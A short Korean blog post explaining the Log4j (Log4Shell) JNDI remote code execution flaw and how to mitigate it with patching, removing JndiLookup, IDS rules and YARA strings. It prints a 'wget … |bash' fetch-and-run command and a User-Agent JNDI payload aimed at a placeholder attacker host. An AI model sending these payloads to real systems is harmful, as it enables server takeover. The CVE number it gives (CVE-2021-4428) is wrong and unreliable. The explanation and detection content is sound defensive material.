2023.01.25
1.개요
2.공격
3.대응방안
21년말부터 22년 초까지 유명했던 Apache Log4j 취약점에 대한 소개.
Java에서 사용하는 로그 생성 모듈이다.
Log를 생성할 때 사용하는 라이브러리로써 로그를 생성하는 포맷등을 쉽게 생성하고 양식을 표준화 할 수 있기 때문에, 대부분의 Java 개발시 사용하는 기본 모듈과 같다.
Log4j에는 여러 취약점이 있기 때문에 추가적으로 CVE코드가 붙어있지만 이 글에서는 CVE-2021-4428에 대해 이야기하려한다.
해당 취약점은 원격 코드 실행(RCE) 취약점으로 Log4j 내의 텍스트 문자열을 분석하는중 JNDI가 "${jndi]" 명령의 특정 서식이 포함된 로그메시지를 받으면 트리거가 되어 원격 코드를 실행할 수 있게 된다.
User-Agent의 스트링을 통해 원격 코드를 실행한다.
wget -q -O AttackerserverIP|bash
공격자는 공격구문을 숨기기위해 명령어 부분은 base64를 통해 인코딩해서 사용한다.
해당 구문이 실행되면 공격자의 IP에서 웹쉘과 같은 악의적인 파일을 업로드하여 원격코드를 실행시키려고 할것이다.
User-Agent: ${jndi:ldap://AttackerserverIP/Basic/Command/Base64/d2dldCAtcSAtTyBBdHRhY2tlcnNlcnZlcklQfGJhc2g=}
해당 취약점이 처음 나왔을때 KISA의 권고안은 Log4j 버전 업데이트를 추천하였다.
그 때 당시에는 2.0이상 버전은 여러가지로 불안정하다는 평이 많았기 때문에 임시 방안으로 JndiLookup 클래스를 해당 경로로 들어가 수동제거하였다.
현재는 버전의 안전성이 높아졌으므로 패치 하여 조치하는쪽이 좋을꺼같다.
시스템 구성상의 문제로 패치가 불가피하다면, IPS-IDS에 룰로 Content에 jndi:을 추가하여 관리하는것이 좋아보인다.
Yara
$ x01 = " ${jndi:ldap:/ "
$ x02 = " ${jndi:rmi:/ "
$ x03 = " ${jndi:ldaps:/ "
$ x04 = " ${jndi:dns:/ "
$ x05 = " ${jndi:iiop:/ "
$ x06 = " ${jndi:http:/ "
$ x07 = " ${jndi:nis:/ "
$ x08 = " ${jndi:nds:/ "
$ x09 = " ${jndi:corba:/ "